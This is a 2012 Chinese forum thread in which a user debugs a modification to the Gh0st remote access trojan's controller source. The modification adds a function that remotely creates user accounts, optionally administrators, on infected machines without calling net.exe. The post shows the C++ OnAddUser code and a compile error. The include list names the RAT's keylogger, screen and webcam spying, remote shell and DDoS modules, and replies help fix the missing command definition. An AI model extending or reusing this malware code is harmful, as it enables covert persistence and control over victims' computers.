浮云你来看下~无net添加问题
你那添加无net我看了6、7次了,,,重做了3、4此了,,,
问题依然在~~如下:
G:\自己用得\单exe\问题添加无NET用户\gh0st\gh0stView.cpp(1626) : error C2065: 'COMMAND_NET_USER' : undeclared identifier
出错代码: lpPacket = COMMAND_NET_USER;
把这句注释了 就能编译成功但是不能添加用户.....
////////////////////////////////////////////////
void CGh0stView::OnAddUser()
{
one:
CUser dlg;
char socks5info = "\0";
char *a = "|";
if(dlg.DoModal() != IDOK) return;
dlg.m_net_user.MakeLower();
if (strlen(dlg.m_net_user) < 1 | strlen(dlg.m_net_pass) < 1)
{
MessageBox(_T("请输入用户名和密码!!"), _T("错误"));
goto one;
}
strcat(socks5info, dlg.m_net_user);
strcat(socks5info, a);
strcat(socks5info, dlg.m_net_pass);
strcat(socks5info, a);
strcat(socks5info, dlg.m_admin);
int nPacketLength = (strlen(socks5info) + 2);
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket = COMMAND_NET_USER;
memcpy(lpPacket + 1, socks5info, nPacketLength);
SendSelectCommand(lpPacket, nPacketLength - 1);
LocalFree(lpPacket);
}
////////////////////////////////////////
文件头如下
#include "stdafx.h"
#include "gh0st.h"
#include "gh0stDoc.h"
#include "gh0stView.h"
#include "MainFrm.h"
#include "SettingsView.h"
#include "FileManagerDlg.h"
#include "ScreenSpyDlg.h"
#include "WebCamDlg.h"
#include "AudioDlg.h"
#include "KeyBoardDlg.h"
#include "SystemDlg.h"
#include "ShellDlg.h"
#include "InputDlg.h"
#include "DDOSAttackDlg.h"
#include "SiftMasterHost.h"
#include "BatchCommand.h"
#pragma comment(lib,"Winmm.lib")
#include "ChatDialog.h"
#include "PluginDlg.h"
#include "..\Server\WorkDll\macros.h"
#include "User.h"//头文件
///////////////////////////////////////////////////////////////////////////////
COMMAND_NET_USER在macros.h中没有定义 本帖最后由 285122235 于 2012-2-21 14:03 编辑
恩,谢谢, 忘在主控端写了
在服务端写上,没在主控端写~~~ 晕,又出现问题了,都编译成功,居然不能添加用户,,,,
:o估计主控端的功能或是服务端代码问题吧 终结者是毛病多,不信你给终结者添加服务管理就知道。
页:
[1]